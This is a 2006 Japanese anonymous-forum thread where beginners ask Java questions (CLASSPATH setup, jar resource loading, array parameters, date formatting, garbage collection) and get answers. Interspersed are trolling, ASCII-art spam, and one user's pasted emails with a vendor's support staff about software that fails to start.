Linux (Ubuntu) で
user@localhost[csh]% CLASSPASS=".;$CLASSPASS"
としました、とか、
WindowsXP でコマンドプロンプトから
> set CLASSPASS=.;%CLASSPASS%
としました、とか。あと、場合によっては元々あったPATHは何かとか、JDKを
インストールした場所(パス)はどこか、とかいった情報が必要になるかも。
たぶん環境パスの設定方法が間違ってる。
0306デフォルトの名無しさん
2006/10/08(日) 23:58:530307デフォルトの名無しさん
2006/10/09(月) 00:16:11OSはWindowsXPです
システムのプロパティから環境変数をクリックして環境変数を編集できるウィンドウ?をだして、
そこのシステム環境変数にCLASSPATHという項目あったので、
(元々は"C:\Program Files\Java\jre1.5.0_04\lib\ext\QTJava.zip"という値が入ってました。)
そこに.(ピリオド)を追加しました。
0308ぴゅあ
2006/10/09(月) 00:28:11コマンドプロンプトを開いて実行しようとしているのだろうと思うけど
環境変数を設定してから"新たに"コマンドプロンプトを開いてやってみた?
CLASSPATHに"."を追加するということは、コマンドプロンプトで実行しようとするときのカレントが"."であるべき場所になっていることは間違いない?
と思ったりするけど
>>305
Linuxでやったことはない・・・というかCLASSPATHを設定してやったことはないけど
セパレータは":"とされていたような気もするけど、";"でもOK?
0309デフォルトの名無しさん
2006/10/09(月) 00:34:06つまりシステム環境変数でCLASSPATHを
.;C:\Program Files\Java\jre1.5.0_04\lib\ext\QTJava.zip
にしたってことだよね。悪くはなさそう。
ところで、エラーはどういう感じなの?
> java Hoge
Exception in thread "main" java.lang.NoClassDefFoundError: Hoge
といった感じだと想像したんだけど。もしそうならこのときにコマンド
プロンプトで
> set CLASSPATH
を実行してCLASSPATHの値に変更が反映されているか確認して
ほしいかも。
0310305 = 309
2006/10/09(月) 00:39:58>>308 とんくす。>>307へのアドバイス同感です。
それから>>305へのツッコミについてあの例は
間違ったやりかたの例なので(汗;)
Linuxでのセパレータは : です。 ; は間違い。
すまん。
0311デフォルトの名無しさん
2006/10/09(月) 00:50:190312デフォルトの名無しさん
2006/10/09(月) 01:16:14思うのだが
0313デフォルトの名無しさん
2006/10/09(月) 01:16:46その荒らしがJavaができないわけだが
0314デフォルトの名無しさん
2006/10/09(月) 01:17:12自演乙
0315デフォルトの名無しさん
2006/10/09(月) 01:37:27>環境変数を設定してから"新たに"コマンドプロンプトを開いてやってみた?
やってみました
>CLASSPATHに"."を追加するということは、コマンドプロンプトで
>実行しようとするときのカレントが"."であるべき場所になっていることは間違いない?
????よくわからんです
>>309
D:\Data\Java>java hello
Exception in thread "main" java.lang.NoClassDefFoundError: hello
D:\Data\Java>set CLASSPATH
CLASSPATH=C:\Program Files\Java\jre1.5.0_04\lib\ext\QTJava.zip
となりました。どうやらCLASSPATHの変更が反映されてない?ようです
でも、環境変数のウインドウで見るとちゃんと
".;C:\Program Files\Java\jre1.5.0_04\lib\ext\QTJava.zip "とかいてあります
0316デフォルトの名無しさん
2006/10/09(月) 01:46:10これが一番訳解らん問題に遭遇しない昔からの先人の知恵
0317デフォルトの名無しさん
2006/10/09(月) 01:51:14WindowsNT系ならコマンドプロンプトを再起動するだけで済む。
Linux系であれば、再ログインまたはsourceコマンドでファイルを読み込むだけで済む。
再起動しないといけない糞OSはWin9x/Me系OSである。
0318デフォルトの名無しさん
2006/10/09(月) 01:52:000319デフォルトの名無しさん
2006/10/09(月) 01:52:180320デフォルトの名無しさん
2006/10/09(月) 02:00:54メソッド呼び出し時に暗黙のtoString呼び出し?
入門者専用言語くらいマスターしろよwww
0321デフォルトの名無しさん
2006/10/09(月) 03:00:32javaはすばらしいだの、自作自演だの妄想が激しいから
メソッド呼び出し時でも自動でtoStringが呼ばれると妄想したのでしょう。
0322ぴゅあ
2006/10/09(月) 03:38:17>>CLASSPATHに"."を追加するということは、コマンドプロンプトで
>>実行しようとするときのカレントが"."であるべき場所になっていることは間違いない?
>????よくわからんです
>D:\Data\Java>java hello
となっているなら問題ないでしょう
>どうやらCLASSPATHの変更が反映されてない?ようです
結構時間が経ってもいるのでまさかと思うけど・・・
>でも、環境変数のウインドウで見るとちゃんと
>".;C:\Program Files\Java\jre1.5.0_04\lib\ext\QTJava.zip "とかいてあります
のあと、そのウィンドウをずっと開きっぱなしなんてことはなくて
OKボタンで一度でも閉じてますよね?
WinXPは使ってないし、それ以上のことは判りそうもないけど
試しにユーザー環境変数の方に同じものを設定してみるとか
(或いはユーザー環境変数の方にも(set CLASSPATHで見えるものが)設定されていないか確認してみるとか)
たぶん追記ではなく上書きになるだろうと思うんだけど・・・
0323デフォルトの名無しさん
2006/10/09(月) 03:45:04が同名、引数が違う(絶対)、戻り値違ってもOK、データ型違ってもOK、内部処理違ってもOK
オーバーライド
が、親のメソッドを書き換える
同名、同引数、同戻り値、同データ型、内部処理が違っててもOK
だっけ?
0324デフォルトの名無しさん
2006/10/09(月) 03:54:25馬鹿回答者は環境の確認の仕方もしらんかwww
0325デフォルトの名無しさん
2006/10/09(月) 04:11:23>OKボタンで一度でも閉じてますよね?
はい、閉じてました
確認したところ、ユーザー環境変数にCLASSPATHという項目はありませんし、
同じ値が設定されている項目もありませんでした。
一度、ユーザー環境変数のほうにCLASSPATHを追加してやってみます。
遅くまでありがとうございました
0326ぴゅあ
2006/10/09(月) 06:12:49ググれっ!
ってのもあるけど、そう
データ型ってのが何を指しているのか判らないけど、
オーバーライドではアクセスレベルとか修飾子とthrows節の例外にも制限がついた筈
0327デフォルトの名無しさん
2006/10/09(月) 07:20:32迷い込んでいますね。
0328デフォルトの名無しさん
2006/10/09(月) 09:44:120329デフォルトの名無しさん
2006/10/09(月) 11:48:48必死すぎてワロタ
0330デフォルトの名無しさん
2006/10/09(月) 11:50:42多分お前が空気読めていないだけだと思う。
一人で非生産的なことにあれこれ一生懸命
やるのはある意味凄いけどなw
0331デフォルトの名無しさん
2006/10/09(月) 12:02:38ぴゅあ乙
0332デフォルトの名無しさん
2006/10/09(月) 12:52:09jarに圧縮してダブルクリックすると Fatal exception occurred.Program will exit
というエラーが出て実行できなかったり、コマンドプロンプトで java -jar jarファイル名
コマンドを入力すると以下のようなエラーが出て実行出来ません
Exception in thread "main" java.lang.NullPointerException
at javax.swing.ImageIcon.<init>(Unknown Source)
at Title.loadImage(Title.java:33)
at Title.<init>(Title.java:19)
at MainPanel.<init>(MainPanel.java:160)
at GAME.<init>(GAME.java:22)
at GAME.main(GAME.java:31)
どうしてエラーが出て実行できなくなってしまったのでしょうか?原因と解決策を教えてください
ちなみに、プログラム上で問題になった行は以下に示します
icon = new ImageIcon(getClass().getResource("image/Title.gif")); (Title.java:33)
loadImage(); (Title.java:19) ← 33行目を呼び出すメソッド
title = new Title(); (MainPanel.java:160)
MainPanel panel = new MainPanel(); (GAME.java:22)
GAME frame = new GAME(); (GAME.java:31)
0333デフォルトの名無しさん
2006/10/09(月) 12:53:250334デフォルトの名無しさん
2006/10/09(月) 12:54:26Jarに圧縮する前はちゃんと動いていたの?
>>333は>>331に対してのレスだから
0335デフォルトの名無しさん
2006/10/09(月) 13:09:33public class ShallowCp {
public static void main(String[] args) {
Circ a1 = new Circ("円1", 10.2);
Circ a2=a1;
a2.setNam("En2");
//Circ a2 = new Circ("円2", 22.7);
//a2=a1;
a1.pr();
a2.pr();
}
}
class Circ{
private String nam;
private double rad;
Circ(String n, double r){
nam=n; //this.nam=n;
rad=r; //this.rad=r;
}
public String getNam(){ return nam;} //return this.nam
public double getRad(){ return rad;}//return this.rad
public void setNam(String nn){nam=nn;}//this.nam=nn;
public void setRad(double rr){rad=rr;}//this.rad=rr;
public void pr(){System.out.println(nam+"の半径は"+rad+""); }
}
これのアクセス修飾子をいろいろと変えて、エラーメッセージや結果を検討しなければならないのですが、
何か面白い(ためになるような)エラーの仕方ありますか?
0336デフォルトの名無しさん
2006/10/09(月) 13:10:40明らかにリソースが取れてないな
リソースパスを
"image/Title.gif"
↓
"/image/Title.gif"
にしてみたら?
0337デフォルトの名無しさん
2006/10/09(月) 13:13:22つ ttp://pc8.2ch.net/test/read.cgi/tech/1159572806/
0338デフォルトの名無しさん
2006/10/09(月) 13:14:510339デフォルトの名無しさん
2006/10/09(月) 13:31:040340332
2006/10/09(月) 14:20:00>>334
jarに圧縮する前はプログラムは問題なく動作しました
>>336
"/image/Title.gif"に書き換えて見ましたが、
まったく同じエラーが出てしまいました
jarに圧縮する前はリソースが取れてプログラムが動くのに、
圧縮した事によって、リソースが取れなくなるなどということがあるのでしょうか?
不思議でなりません
0341デフォルトの名無しさん
2006/10/09(月) 14:28:190342デフォルトの名無しさん
2006/10/09(月) 14:29:040343デフォルトの名無しさん
2006/10/09(月) 14:42:06jar の中に Title.gif があるかの確認してみてくれ、
もし Title.gif があるなら jar の中でのパス晒してくれ。
圧縮とは あんまし関係ない。
jar内のリソースの扱いは jar外より厳密にしなければならない。
jar外で適当にやってて偶然上手くいってた奴は jar内のリソースの扱いで躓くことは結構ある。
0344デフォルトの名無しさん
2006/10/09(月) 14:46:31Jar扱ったことないやつが必死になってるなwww
>>332
さっき言われたスラッシュは消して、getClass()の後ろに
.getClassloader() を突っ込んでみな。
0345デフォルトの名無しさん
2006/10/09(月) 14:51:11getClass L oader() だった。すまん。
0346332
2006/10/09(月) 15:48:53今、フォルダの中を確認したところ、Title.gifの拡張子が大文字になっていました。
拡張子を小文字にしたらjarで動作を確認しました。
コマンドプロンプト上で動いたのはwindowsでは拡張子の大文字小文字の区別がないからみたいです。
お騒がせしてすみませんでした
0347デフォルトの名無しさん
2006/10/09(月) 18:36:120348デフォルトの名無しさん
2006/10/09(月) 19:27:020349デフォルトの名無しさん
2006/10/09(月) 20:39:01それのかっこいい装飾教えてください
/**************************************/
/* */
/* いまはこうしてます */
/* */
/**************************************/
0350デフォルトの名無しさん
2006/10/09(月) 20:42:250351デフォルトの名無しさん
2006/10/09(月) 20:54:570352デフォルトの名無しさん
2006/10/09(月) 20:58:01なんでこんな時間に書き込みできるわけ?
普通の人なら学校や会社があるはずなんだけど
このこと知った親は悲しむぞ?
現実見ようぜ
0353デフォルトの名無しさん
2006/10/09(月) 21:02:100354デフォルトの名無しさん
2006/10/09(月) 21:40:500355デフォルトの名無しさん
2006/10/09(月) 22:18:29研究室からカキコしてるから
で、AA荒らししてる例の彼は、リアルでNEETなんでしょう。
0356デフォルトの名無しさん
2006/10/09(月) 23:47:58祝日に何を言っとるんだ・・・。
日付感覚のない NEET か?
0357デフォルトの名無しさん
2006/10/10(火) 00:55:46メソッドで配列をする場合は
method(a[]);
method(int[] a){
}
と言う形では駄目でしたっけ・・・
0358デフォルトの名無しさん
2006/10/10(火) 00:58:58戻り値もつけておけよ
0359デフォルトの名無しさん
2006/10/10(火) 01:11:58moutyottoganbattemimasu
0360デフォルトの名無しさん
2006/10/10(火) 01:19:45すいません、
test = method(a[]);
//略
double method(double[] a){
}
ってやっていると、
java:15: '.class' がありません。
test = method(a[]);
^
java:15: ')' がありません。
test = method(a[]);
^
java:24: ';' がありません。
double method(double[] a){
^
こんなエラー出るんですが、これは何が悪いんでしょうか・・・
0361デフォルトの名無しさん
2006/10/10(火) 01:44:11うん、とりあえずhello worldからもう一度やり直そうか?
0362デフォルトの名無しさん
2006/10/10(火) 01:46:47メソッドの呼び出しはtest = method(a);
0363デフォルトの名無しさん
2006/10/10(火) 01:47:14public static void main(String args
[]){
System.out.println("Hello,world");
}
}
こうですか?分かりません><;
0364デフォルトの名無しさん
2006/10/10(火) 01:49:53Hoge hoge[]
よりも
Hoge[] hoge
って書くよな?
0365デフォルトの名無しさん
2006/10/10(火) 02:14:54Hoge[] hoges
または
Hoge[] hogeArray
と書く。
0366デフォルトの名無しさん
2006/10/10(火) 02:41:47テキストエリアにappendで文字を追加した際に
一番下(追加した文字)を表示させておく方法を教えて下さい。
何故か追加しても表示位置が維持されたままになってる。。
0367デフォルトの名無しさん
2006/10/10(火) 02:50:45てありますでしょうか?
long time=currentTimeMillis();
String date=TimeToDate(time);
System.out.println(date);
--------------------------------
実行結果 2006/10/10 10:3:4
--------------------------------
こんな感じの奴です。
よろしくお願いします。
0368デフォルトの名無しさん
2006/10/10(火) 03:09:320369デフォルトの名無しさん
2006/10/10(火) 03:25:13JTextArea jTextArea;
...
jTextArea.append("hogehoge");
jTextArea.setCaretPosition(jTextArea.getDocument().getLength());
0370デフォルトの名無しさん
2006/10/10(火) 03:51:24String timeToDate(long millis) {
return new SimpleDateFormat("yyyy/MM/dd HH:mm:ss").format(new Date(millis));
}
0371デフォルトの名無しさん
2006/10/10(火) 03:59:33new SimpleDateFormat("yyyy/MM/dd HH:mm:ss")
は別に生成しておいてメソッド内で使い回す方が効率がいい
0372デフォルトの名無しさん
2006/10/10(火) 05:02:52ありがとうございます。できました。
0373デフォルトの名無しさん
2006/10/10(火) 11:11:50やりたいことは、ArrayListを継承したクラスを定義し、コンストラクタとfinalize()メソッドを
自身のID(のようにオブジェクトを特定できるもの)を表示するようにオーバーライドして
不要になっているはずのオブジェクトとガベージコレクタの実行によって開放された
オブジェクトが一致しているかということを確認したいです。
良い方法をご存知の方よろしくお願いします。
0374デフォルトの名無しさん
2006/10/10(火) 11:18:05java.lang.System#identityHashCode(Object)
0375デフォルトの名無しさん
2006/10/10(火) 11:21:33つーかメモリ監視ならプロファイラ使う方が普通じゃない?
0377373
2006/10/10(火) 11:53:12早速のレスthxです。
>374
欲しかったのはまさしくこのメソッドです。ありがとうございました。
>375
>解放する際にfinalize()が呼ばれるかどうかは不定
これはJVMの実装によって変わるという意味でしょうか?
それとも同じJVMで同じロジックを通過していても不定という意味でしょうか?
現在メモリ監視のツールが手元にないのと、開発中のアプリで挙動の辻褄が
合わない部分を検証したいだけだったのでIDで確認する方法が手っ取り早いと
思ってこうしました。
0378375
2006/10/10(火) 12:59:54すまね。俺の勘違い。
finalize()は呼ばれる。 でもいつ呼ばれるかは不明。
System.gc()かもしれないし、vm終了時かもしれない。
finalize()を恒久的にオーバーライドするロジックだと問題ありすぎだが
一時的な動作チェックでidentityHashCode(Object)表示ぐらいなら問題はないかも。
勉強不足のため確証は持てない。 orz
0379デフォルトの名無しさん
2006/10/10(火) 13:06:29GC がオブジェクトを回収して、回収されたオブジェクトが占有してたリソースを再利用する場合には
再利用前に必ず finalize() が呼ばれる。再利用されるタイミング、finalize() が呼ばれるタイミングは
GCの実装方法の自由度を上げるために不定と決められている。
再利用されない場合、例えば再利用前にアプリが終了しちゃう場合とかは finalize() は呼ばれなくても構わない。
> それとも同じJVMで同じロジックを通過していても不定という意味でしょうか?
言語規定から言えば、同じロジックを通過しても 再利用とか finalize() のタイミングとかは不定のはず。
特定のJVMで 再利用とか finalize() とかのタイミングが不定になるかは実装依存なので何とも言えない。
1.2 以降なら java.lang.ref パッケージとか使って遊んでみるのも良いかも。
5.0 以降なら java.lang.management とかでも良いけど。
0380デフォルトの名無しさん
2006/10/10(火) 15:36:13のことなんですけれども、
パッケージの概要やその役割と長所、短所などを教えていただけますでしょうか?
0381デフォルトの名無しさん
2006/10/10(火) 15:47:55println()はPrintStreamのインスタンスメソッドだぞ。
パッケージの概要や役割はjavadocを読め。
長所、短所はなんのことやら。
0382デフォルトの名無しさん
2006/10/10(火) 16:43:37レスありがとうございます
いや、実は私もわけがわからなくて質問させていただいたのですが。講義の質問で
Javaのクラスメソッド(たとえばprintln)の所属パッケージの階層構造など、
パッケージの概要、その役割、長所、短所について学び報告せよ。
という質問だったんです。
一応、これからjavadocを読んできます。
0383デフォルトの名無しさん
2006/10/10(火) 17:36:09宿題スレで円のプログラム質問してたヤツか?
その講義の課題は、文面からだとまったくワケがわからん。
本当にそういった課題なら、教授を小一時間問い詰める必要がある。
>Javaのクラスメソッド(たとえばprintln)の所属パッケージの階層構造
そんなものはない。
>長所、短所
パッケージやクラスに長所も短所もない。 何に対する長所・短所を言いたいのか?
標準でライブラリが充実している事の長所、短所なり
ある機能を実現するのに、あるクラスを使った場合の長所、短所ならまだわかるが。
0384デフォルトの名無しさん
2006/10/10(火) 17:55:15そういうレベルの話だろ。
0385デフォルトの名無しさん
2006/10/10(火) 18:13:03そうですか、今度聞いてみます
どうも
0386ぴゅあ
2006/10/10(火) 18:26:09>Javaのクラスメソッド(たとえばprintln)の所属パッケージの階層構造など、
>パッケージの概要、その役割、長所、短所について学び報告せよ。
話の繋がりがよく解らないところもあるけど
"クラスメソッド"と言っているのは"クラスにあるメソッド"とか言われているところを自分の言葉にして言ってしまっている
それがまた読む側にはたまたまクラスメソッドとして存在する言葉とぶつかってしまっている
とかいうところだろうと思ったりするけど・・・
まずは"パッケージの概要"とかで始まっている解説を読めということになると思う
それはJavaについて解説しているようなものにあってjavadocではないでしょうね
話の中ではクラスについては触れていないとも思うけど
>パッケージやクラスに長所も短所もない。
というのはパッケージやクラスの存在を否定していることになるだろうと思うけど・・・
0387373
2006/10/10(火) 18:26:11レスthxです。
>1.2 以降なら java.lang.ref パッケージとか使って遊んでみるのも良いかも。
>5.0 以降なら java.lang.management とかでも良いけど。
普段使わないパッケージなんで存在すら知りませんでしたが、メモリ管理の
インターフェースが提供されてたんですね。
折を見て勉強してみます。情報ありがとうございまいた。
0388デフォルトの名無しさん
2006/10/10(火) 23:10:42public static void main(String[] args){
int a, b, c, d;
a=1;
b=a++;
c=++a;
d=--a;
System.out.println("a="+a)
System.out.println("b="+b);
System.out.println("c="+c);
System.out.println("d="+d);
}
が、a=2
b=1
c=3
d=2
になるのってどうしてなんでしょうか。
前置演算と後置演算は何とかわかりましたが、
何でa=1にならないのかからわかりません。
解説サイトなどご存知でしたら教えて頂きたいです。
0389デフォルトの名無しさん
2006/10/10(火) 23:28:13aが2回インクリメントされて
1回デクリメントされてるから
0390デフォルトの名無しさん
2006/10/10(火) 23:52:34ヒントのおかげで参考書見直してやっとわかりました。
ありがとうございました!
int a,b,c,d
って順番に計算しろってことでいいんでしょうか。
それすらも知らんでいる・・・
0391デフォルトの名無しさん
2006/10/11(水) 00:41:37同じclassファイルから作られたインスタンスなら
どのJVMでも同じになりますか?
0392デフォルトの名無しさん
2006/10/11(水) 00:47:59例えば、ワード(メモ帳)にaという文字が入力されたらbというプログラムが起動するようにしたいんですよ
教えてエロい人
お願いしまつ
0393デフォルトの名無しさん
2006/10/11(水) 01:19:110394デフォルトの名無しさん
2006/10/11(水) 01:23:04入 / ,、r'";;;;;;;;;;;;;;;;;;;;;;;;;;;;;`';,、 ,r';;r" _ノ
中 が 門 L_ /;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\ ,';;/ ) 何
国.許 言 //;;/´ `' 、;;;;;;;;,,l;;' /ヽ と
人 さ. 語 /.,';/ ヽ;;;;,l;L_ .,,、,--ュ、 ';;;;;;;;;な java
ま れ l |;|┌--‐フ ┌----、、 |;ヾr''‐ヽ, ,、ィ'r-‐''''''‐ヽ ';;;;;;く !!
で る i |l ~~__´ 、 ``'__''''┘ |;;;;;l rO:、; ´ ィ○ヽ 'i;;;;;厶,
じ の l _|. <,,O,> 〉 <,,O,,> |;;;;;| `'''"/ `'''''"´ !;;;;;;;;ヽ
ゃ は ._ゝ'|. / 、 |; ,' / 、 |;;;;;;;;;;;;;レ、⌒Y⌒ヽ
ぞ 「 | | ( ) .ソ l ,:' _ ヽ .|;;;;;;;//-'ノ
ヽヽ | _,ニ ニ,,,,,_ ', ゞ,' '"'` '" i;;;;;i, `' /
⌒レ'⌒ヽ厂 ̄ `| ,、ィ-‐''__'''‐-`,、 '' ', i、-----.、 `''"i`'''l
人_,、ノL_,iノ! ', :i゙''''''''''`l' ` _人__人ノ_ヽ ヾ゙゙゙゙ニニ'\ ,' ト、,
/ ヽ. L__」 「 止 笑 L_ ヽ〈 i| Vi゙、
ハ ワ {. ヽ. -、、、、 ' ノ ま い 了゙, ,ヽ===-'゙ ,' , // ヽ
ハ ハ ヽ. ハ ) ら が | ',.' ,  ̄ , ' ノ /./ ヽ,
ハ ハ > /|ヽヽ、___,,,,、 'く ん > ヽ.  ̄´ / ,、 ' / / \
ハ ハ / ノ. | ヽ フ / ノ:lゝt-,-‐''" / ,.ィ゙ /
0395デフォルトの名無しさん
2006/10/11(水) 08:32:22さすがアホジャヴァー、AAずれまくりテラカッコワルス
0396デフォルトの名無しさん
2006/10/11(水) 08:33:15結局、解決したのか? よくわからん書き方をしているが。
0397デフォルトの名無しさん
2006/10/11(水) 09:25:37彡彡゙゙゙゙゙"゙゙""""""ヾ彡彡)
ミ彡゙ .._ _ ミミミ彡
((ミ彡 '´ ̄ヽ '´/ ̄ ` ,|ミミ))
ミ彡 ' ̄ ̄' 〈 ̄ ̄ .|ミミ彡
ミ彡| ) ) | | `( ( |ミ彡
((ミ彡| ( ( -し`) ) )|ミミミ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
ゞ| ) ) 、,! 」( ( |ソ < アホジャヴァー専用スレにふさわしい低レベルさ。ほほえましい!感動した!
ヽ( ( ̄ ̄ ̄' ) )/ \_______________
,.|\、) ' ( /|、
 ̄ ̄| `\.`──'´/ | ̄ ̄`
\ ~\,,/~ /
0398デフォルトの名無しさん
2006/10/11(水) 10:32:010399デフォルトの名無しさん
2006/10/11(水) 12:33:35流石アホ荒らし。時代遅れなAA貼ってやがるwww
0400デフォルトの名無しさん
2006/10/11(水) 13:43:340401デフォルトの名無しさん
2006/10/11(水) 13:53:35×阿部
○安倍
0402デフォルトの名無しさん
2006/10/11(水) 14:12:070403デフォルトの名無しさん
2006/10/11(水) 15:53:260404デフォルトの名無しさん
2006/10/11(水) 16:19:400405デフォルトの名無しさん
2006/10/11(水) 19:05:390406デフォルトの名無しさん
2006/10/11(水) 19:15:490408デフォルトの名無しさん
2006/10/11(水) 21:55:57| アホジャバーの書き込みをコピーして
"■" 。 < 書き込みボタンを押せばゲーム開始じゃ
(,,゚Д゚) ./ | 敵のアホジャバーが襲い掛かってくるぞ!
|  ̄`つ |
┌∪┐| |
└─┘| |
∪ ∪ |
0409デフォルトの名無しさん
2006/10/11(水) 22:33:530410デフォルトの名無しさん
2006/10/11(水) 23:26:200411デフォルトの名無しさん
2006/10/11(水) 23:46:19おうおう、ゆとり馬鹿馬鹿毒吐きオヤジの登場か??www
0412デフォルトの名無しさん
2006/10/11(水) 23:48:42彡彡゙゙゙゙゙"゙゙""""""ヾ彡彡)
ミ彡゙ .._ _ ミミミ彡
((ミ彡 '´ ̄ヽ '´/ ̄ ` ,|ミミ))
ミ彡 ' ̄ ̄' 〈 ̄ ̄ .|ミミ彡
ミ彡| ) ) | | `( ( |ミ彡
((ミ彡| ( ( -し`) ) )|ミミミ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
ゞ| ) ) 、,! 」( ( |ソ < 入門言語にふさわしい馬鹿質問&馬鹿解答。ほほえましい!感動した!
ヽ( ( ̄ ̄ ̄' ) )/ \_______________
,.|\、) ' ( /|、
 ̄ ̄| `\.`──'´/ | ̄ ̄`
\ ~\,,/~ /
0413デフォルトの名無しさん
2006/10/11(水) 23:50:16かわいそうな構ってチャンだな
0414デフォルトの名無しさん
2006/10/11(水) 23:55:26D言語のようなネスト可能なコメントが欲しいね。
/+
/+
foo();
+/
bar();
/+
0415デフォルトの名無しさん
2006/10/12(木) 00:42:53Eclipseなどの環境でできたりしてな
0416デフォルトの名無しさん
2006/10/12(木) 00:43:25>>406のレスに付け加えるとしたら、
フォーマットに関してはDateFormatで
0417デフォルトの名無しさん
2006/10/12(木) 09:00:11入 / ,、r'";;;;;;;;;;;;;;;;;;;;;;;;;;;;;`';,、 ,r';;r" _ノ
中 が 門 L_ /;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\ ,';;/ ) 何
国.許 言 //;;/´ `' 、;;;;;;;;,,l;;' /ヽ と
人 さ. 語 /.,';/ ヽ;;;;,l;L_ .,,、,--ュ、 ';;;;;;;;;な java
ま れ l |;|┌--‐フ ┌----、、 |;ヾr''‐ヽ, ,、ィ'r-‐''''''‐ヽ ';;;;;;く !!
で る i |l ~~__´ 、 ``'__''''┘ |;;;;;l rO:、; ´ ィ○ヽ 'i;;;;;厶,
じ の l _|. <,,O,> 〉 <,,O,,> |;;;;;| `'''"/ `'''''"´ !;;;;;;;;ヽ
ゃ は ._ゝ'|. / 、 |; ,' / 、 |;;;;;;;;;;;;;レ、⌒Y⌒ヽ
ぞ 「 | | ( ) .ソ l ,:' _ ヽ .|;;;;;;;//-'ノ
ヽヽ | _,ニ ニ,,,,,_ ', ゞ,' '"'` '" i;;;;;i, `' /
⌒レ'⌒ヽ厂 ̄ `| ,、ィ-‐''__'''‐-`,、 '' ', i、-----.、 `''"i`'''l
人_,、ノL_,iノ! ', :i゙''''''''''`l' ` _人__人ノ_ヽ ヾ゙゙゙゙ニニ'\ ,' ト、,
/ ヽ. L__」 「 止 笑 L_ ヽ〈 i| Vi゙、
ハ ワ {. ヽ. -、、、、 ' ノ ま い 了゙, ,ヽ===-'゙ ,' , // ヽ
ハ ハ ヽ. ハ ) ら が | ',.' ,  ̄ , ' ノ /./ ヽ,
ハ ハ > /|ヽヽ、___,,,,、 'く ん > ヽ.  ̄´ / ,、 ' / / \
ハ ハ / ノ. | ヽ フ / ノ:lゝt-,-‐''" / ,.ィ゙ /
0418デフォルトの名無しさん
2006/10/12(木) 11:25:19どうやったら通る?
0419デフォルトの名無しさん
2006/10/12(木) 12:21:21Beans内でtry〜catch文を書いたらという意味がわからない。
質問をしたければ日本語で質問をしなさい
0420デフォルトの名無しさん
2006/10/12(木) 12:46:53あなたの言葉の方が日本語ではないようです。
0421デフォルトの名無しさん
2006/10/12(木) 13:27:390422納税ソフトのテストにご協力を 1
2006/10/12(木) 13:57:35お金にはならないのですが、
少し困っておりまして、いちかばちか書いてみます。
−−−要件−−−
税金の申告にオンラインなんとかをご利用くださいと
納税の書類に、書かれていたので必要なソフトを
NTTデ−タから取り寄せたのですが、まぁ、、動かないと。
そこで営業さんと、下記添付のやりとりがあり、
最後に「他のPCで試してみろ」とか言ってきたので
現実的に試せる範囲であれば試してみようかとも思いまして。。
こんな次第で、いつでもいいのですが、ご迷惑かとは思うのですが
お近くか御自宅、ノ−トPCをお持ちでしたらご近所の
ファミレスなどに、お伺いして、問題のソフトを
お手元のPCで、動作テストさせていただけないでしょうか?
(お茶代は持たせていただきますので、、)
−続く−
0423デフォルトの名無しさん
2006/10/12(木) 14:00:28冗談抜きでチラシの裏じゃねぇか
0424422の続き(↑あげちゃった。ごめん)
2006/10/12(木) 14:03:56>XXX
>XXXXXXXX 様
>
>いつもお世話になっております。
>
>お客様のインストールの状況かPC環境が起因していると思われますので
>■いったんアンインストールした上で、再度インストール
>■他のPCにインストール
>のどちらかで対応していただけますでしょうか。
>
>よろしくお願い致します。
>
>NTTデータ
>商業登記電子証明書取得ソフトウェア担当 XXXXXXXX
>
0425424の続き
2006/10/12(木) 14:05:58> NTTデータ
> 商業登記電子証明書取得ソフトウェア担当
> XXXXXXXX 様
>
> お世話になっております。
>
> >スタート‐プログラム‐商業登記電子証明書取得ソフトウェア
> >という順序で起動してください。
>
> はい。起動は仰る通りの順で行なっております。
> その結果、症状は最初に述べましたとおりとなります。
>
> XXX XXXXXXXX
> -------------------------------------------------
0426425の続き
2006/10/12(木) 14:07:07> >XXXXXXXX 様
> >
> >お世話になっております。
> >
> >メールを確認いたしますと、
> >mojapp.jarを直接起動されていらっしゃいませんか。
> >スタート‐プログラム‐商業登記電子証明書取得ソフトウェア
> >という順序で起動してください。
> >
> >よろしくお願い致します。
> >
> >NTTデータ
> >商業登記電子証明書取得ソフトウェア担当 XXXXXXXX
0427426の続き
2006/10/12(木) 14:08:42> > 商業登記電子証明書取得ソフトウェア担当
> > XXXXXXXX様
> >
> > >ソフトがきちんとCドライブ配下にインストールされているかを
> > >一度ご確認いただけますでしょうか。
> >
> > C:\GetCert 配下にインストールされ、
> > C:\GetCert\jre\bin\javaw.exe -jar C:\GetCert\mojapp.jar
と、
> > 起動されるようです。
> >
> > ●そちらで再現試験はされましたか? その結果は如何でしたか
?
0428デフォルトの名無しさん
2006/10/12(木) 14:09:31何開発しているか筒抜けだぞ
0429427の続き
2006/10/12(木) 14:10:52> > >XXXXXXXX 様
> > >
> > >いつもお世話になっております。
> > >
> > >下記の質問についてですが、
> > >ソフトがきちんとCドライブ配下にインストールされているかを
> > >一度ご確認いただけますでしょうか。
> > >
> > >よろしくお願い致します。
> > >
> > >
> > >NTTデータ
> > >商業登記電子証明書取得ソフトウェア担当 XXXXXXXX
0430アク規制されますた?>俺
2006/10/12(木) 14:22:34という立場を通させていただこうと思います
「何を開発?」さあね、うちのエンジニアに聞いてくれと
乱暴な表現であることについては陳謝します。
0431デフォルトの名無しさん
2006/10/12(木) 14:29:010432デフォルトの名無しさん
2006/10/12(木) 14:33:090433デフォルトの名無しさん
2006/10/12(木) 14:34:10こういうゴミ雇ってるならさっさとクビにしろ。
0434429の続き
2006/10/12(木) 15:07:32> > > 株式会社NTTデータ
> > > 第一公共システム事業本部
> > > 公共統括部
> > > 第一営業担当 様
> > >
> > > お世話になっております。 XXXのXXXXと申します。
> > > 先日10月6日づけで「商業登記電子証明書取得ソフトウェ
ア」
> >をご
> > 納品いただきました。
> > > 動かしてみてうまくいかない箇所があるので、ご相談させてく
だ
> >さ
> > い。
0435434の続き
2006/10/12(木) 15:08:21> > > ↓
> > > 貴ソフトウェアをインストール
> > > ↓
> > > 電子証明書取得 ver3.0 (mojapp.jar)を起動
> > > ↓
> > > 証明書の取得メニュー ボタンを押す
> > > ↓
> > > 鍵ペアの作成 ボタンを押す
> > > ↓
> > > 鍵ペアの作成の内容確認
> > > 「鍵長:1024/パスワード:■■■■■■■■」)
> > > ↓(OKボタンを押す)
